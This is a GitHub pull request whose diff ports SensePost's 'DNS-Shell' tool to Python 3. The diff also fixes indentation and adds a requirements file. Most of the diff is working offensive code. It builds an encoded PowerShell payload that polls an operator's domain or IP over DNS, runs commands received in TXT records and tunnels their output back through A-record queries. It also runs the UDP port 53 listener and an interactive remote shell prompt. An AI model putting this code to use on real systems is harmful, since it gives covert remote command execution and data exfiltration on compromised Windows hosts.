Skip to content

Update to python3 and correct indentation errors #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
228 changes: 117 additions & 111 deletions DNS-shell.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
import sys
import binascii
import threading
import SocketServer
import socketserver
import requests
from dnslib import *

Expand All @@ -16,15 +16,15 @@ def powershell_encode(data):
blank_command = ""
powershell_command = ""
# Remove weird chars that could have been added by ISE
n = re.compile(u'(\xef|\xbb|\xbf)')
n = re.compile('(\xef|\xbb|\xbf)')
# loop through each character and insert null byte
for char in (n.sub("", data)):
# insert the nullbyte
blank_command += char + "\x00"
# assign powershell command as the new one
powershell_command = blank_command
# base64 encode the powershell command
powershell_command = base64.b64encode(powershell_command)
powershell_command = base64.b64encode(powershell_command.encode())
return powershell_command


Expand Down Expand Up @@ -64,10 +64,11 @@ def prepare_recursive(domain):
if ($txt -match 'NoCMD'){continue}
elseif ($txt -match 'exit'){Exit}
else{execDNS($txt)}
}
}
""" % (domain,)
return powershell_encode(st2)


def prepare_direct(ip):
st2 = """
$ip = "%s"
Expand Down Expand Up @@ -104,7 +105,7 @@ def prepare_direct(ip):
if ($txt -match 'NoCMD'){continue}
elseif ($txt -match 'exit'){Exit}
else{execDNS($txt)}
}
}
""" % (ip,)
return powershell_encode(st2)

Expand All @@ -113,37 +114,40 @@ def parse_output(req):
global cmd
cmd = 'NoCMD'
request = req
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
rdata = A('127.0.0.1')
reply = DNSRecord(DNSHeader(id=request.header.id,
qr=1, aa=1, ra=1), q=request.q)
rdata = A('127.0.0.1')
TTL = 60 * 5
rqt = rdata.__class__.__name__
cmds.append([request.q.qname.label[1],request.q.qname.label[3]])
if request.q.qname.label[2] == 'sqsp' and request.q.qname.label[1] != 'END' and 'LENGTH' not in cmds:
cmds.append('LENGTH')
rcvtime = time.time()
expected = int(request.q.qname.label[1][4:])
print "[+] Expecting %s Chunks." % request.q.qname.label[1][4:]
if request.q.qname.label[2] != 'sqsp':
if request.q.qname.label[1] not in cmds:
cmds.append(request.q.qname.label[1])
c = request.q.qname.label[2]
cm = c.decode('hex')
cr.append(cm)
sys.stdout.write("\r[+] Chunks Recieved: %d" % len(cr))
sys.stdout.flush()
if request.q.qname.label[1] == 'END':
cmds.append('END')
reply.add_answer(RR(rname=request.q.qname, rtype=1, rclass=1, ttl=TTL, rdata=rdata))
if len(request.q.qname.label) >= 2:
cmds.append(request.q.qname.label[1])
if request.q.qname.label[1] != b'END' and 'LENGTH' not in cmds:
cmds.append('LENGTH')
rcvtime = time.time()
print("[+] Expecting {} Chunks.".format(int(request.q.qname.label[1][4:])))
elif request.q.qname.label[1] == b'END':
cmds.append('END')
else:
cmds.append(request.q.qname.label[1])
cm = bytearray.fromhex(request.q.qname.label[2].decode()).decode()
cr.append(cm)
sys.stdout.write("\r[+] Chunks Recieved: %d" % len(cr))
sys.stdout.flush()
reply.add_answer(RR(rname=request.q.qname, rtype=1,
rclass=1, ttl=TTL, rdata=rdata))
return reply.pack()


def parse_newCMD(request):
global cmd
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
reply = DNSRecord(DNSHeader(id=request.header.id,
qr=1, aa=1, ra=1), q=request.q)
TTL = 60 * 5
rdata = TXT(cmd)
cmd = 'NoCMD'
rqt = rdata.__class__.__name__
reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.TXT, rclass=1, ttl=TTL, rdata=rdata))
reply.add_answer(RR(rname=request.q.qname, rtype=QTYPE.TXT,
rclass=1, ttl=TTL, rdata=rdata))
return reply.pack()


Expand All @@ -154,12 +158,13 @@ def dns_response(data):
qtype = request.q.qtype
qt = QTYPE[qtype]
if qt == 'A':
reply = parse_output(request)
reply = parse_output(request)
elif qt == 'TXT':
reply = parse_newCMD(request)
reply = parse_newCMD(request)
return reply

class BaseRequestHandler(SocketServer.BaseRequestHandler):

class BaseRequestHandler(socketserver.BaseRequestHandler):

def get_data(self):
raise NotImplementedError
Expand All @@ -174,67 +179,68 @@ def handle(self):
except Exception:
pass

class UDPRequestHandler(BaseRequestHandler):

class UDPRequestHandler(BaseRequestHandler):
def get_data(self):
global newConn,recvConn,client_ip
if newConn:
newConn = 0
recvConn = 1
client_ip = self.client_address
print "[+] Recieved Connection from %s" % client_ip[0]
global newConn, recvConn, client_ip
if newConn:
newConn = 0
recvConn = 1
client_ip = self.client_address
print("[+] Recieved Connection from %s" % client_ip[0])
return self.request[0].strip()

def send_data(self, data):
return self.request[1].sendto(data, self.client_address)

def main(penc, WebRequestFile=None,single=None):
global cmd,cmds,cr,rcvtime,newCommand,recvConn,client_ip
UDP_PORT = 53
s = SocketServer.ThreadingUDPServer(('',UDP_PORT),UDPRequestHandler)
thread = threading.Thread(target=s.serve_forever)
thread.daemon = True # exit the server thread when the main thread terminates
try:
thread.start()
if WebRequestFile:
thread2 = threading.Thread(target=send_reqT, args=(penc,))
thread2.daemon = True
thread2.start()
else:
print "[+] Generated Payload:\n%s" % penc
while thread.isAlive():
time.sleep(1)
sys.stdout.flush()
sys.stderr.flush()
if recvConn:
if len(cmds) >= 1 and cmds[-1] == 'END' or newCommand:
newCommand = 0
print "\n\n%s" % ''.join(cr)
print "[+] Command Completed Successfully."
cmds = []
cr = []
if single:
s.shutdown()
sys.exit()
else:
cmd = raw_input('SensePost-DNS-Shell::$ ')
if cmd == 'exit':
time.sleep(5)
s.shutdown()
sys.exit()
except KeyboardInterrupt:
print "%s" % ''.join(cr)
cmd = 'exit'
time.sleep(5)
#print("[+] 1st packet: %s seconds" % (time.time()-rcvtime))
s.shutdown()
sys.exit()
except:
raise

def main(penc, WebRequestFile=None, single=None):
global cmd, cmds, cr, rcvtime, newCommand, recvConn, client_ip
UDP_PORT = 53
s = socketserver.ThreadingUDPServer(('',UDP_PORT),UDPRequestHandler)
thread = threading.Thread(target=s.serve_forever)
thread.daemon = True # exit the server thread when the main thread terminates
try:
thread.start()
if WebRequestFile:
thread2 = threading.Thread(target=send_reqT, args=(penc,))
thread2.daemon = True
thread2.start()
else:
print("[+] Generated Payload:\n%s" % penc.decode())
while thread.is_alive():
time.sleep(1)
sys.stdout.flush()
sys.stderr.flush()
if recvConn:
if len(cmds) >= 1 and cmds[-1] == 'END' or newCommand:
newCommand = 0
print("\n\n%s" % ''.join(cr))
print("[+] Command Completed Successfully.")
cmds = []
cr = []
if single:
s.shutdown()
sys.exit()
else:
cmd = input('SensePost-DNS-Shell::$ ')
if cmd == 'exit':
time.sleep(5)
s.shutdown()
sys.exit()
except KeyboardInterrupt:
print("%s" % ''.join(cr))
cmd = 'exit'
time.sleep(5)
# print("[+] 1st packet: %s seconds" % (time.time()-rcvtime))
s.shutdown()
sys.exit()
except:
raise


if __name__=='__main__':
logo = '''
logo = '''
________ _______ _________ _________.__ .__ .__
\______ \ \ \ / _____/ / _____/| |__ ____ | | | |
| | \ / | \ \_____ \ ______ \_____ \ | | \_/ __ \| | | |
Expand All @@ -244,16 +250,16 @@ def main(penc, WebRequestFile=None,single=None):

by research (at) SensePost
'''
cmds = []
cr = []
rcvtime = 0.0
cmd = 'NoCMD'
newCommand = 1
recvConn = 0
newConn = 1
client_ip = None
parser = argparse.ArgumentParser(
description = '''
cmds = []
cr = []
rcvtime = 0.0
cmd = 'NoCMD'
newCommand = 1
recvConn = 0
newConn = 1
client_ip = None
parser = argparse.ArgumentParser(
description = '''
A Sort of DNS-SHell.
%s
''' % logo,
Expand All @@ -266,25 +272,25 @@ def main(penc, WebRequestFile=None,single=None):

# Generate base64 encoded PowerShell payload, and run in listener recursive queries mode and wait for interactive shell.
sudo python DNS-Shell.py -l -r [Domain]''')
parser.add_argument('-l','--listen',help='Activate listener mode.',action='store_true')
parser.add_argument('-r','--recursive',help='Recursive DNS query requests.')
parser.add_argument('-d','--direct',help='Direct DNS queries mode.')
p = parser.parse_args()
print logo
# listener direct mode
if p.listen and p.direct:
print '[+} Listen direct queries mode active.'
listen = p.listen
ip = p.direct
penc = prepare_direct(ip)
main(penc)
# listener recursive mode
elif p.listen and p.recursive:
print '[+] Listener recursive queries mode active.'
listen = p.listen
domain = p.recursive
penc = prepare_recursive(domain)
main(penc)
else:
parser.print_help()
parser.add_argument('-l','--listen',help='Activate listener mode.',action='store_true')
parser.add_argument('-r','--recursive',help='Recursive DNS query requests.')
parser.add_argument('-d','--direct',help='Direct DNS queries mode.')
p = parser.parse_args()
print(logo)
# listener direct mode
if p.listen and p.direct:
print('[+] Listen direct queries mode active.')
listen = p.listen
ip = p.direct
penc = prepare_direct(ip)
main(penc)
# listener recursive mode
elif p.listen and p.recursive:
print('[+] Listener recursive queries mode active.')
listen = p.listen
domain = p.recursive
penc = prepare_recursive(domain)
main(penc)
else:
parser.print_help()

2 changes: 2 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
requests>=2.23.0
dnslib>=0.9.14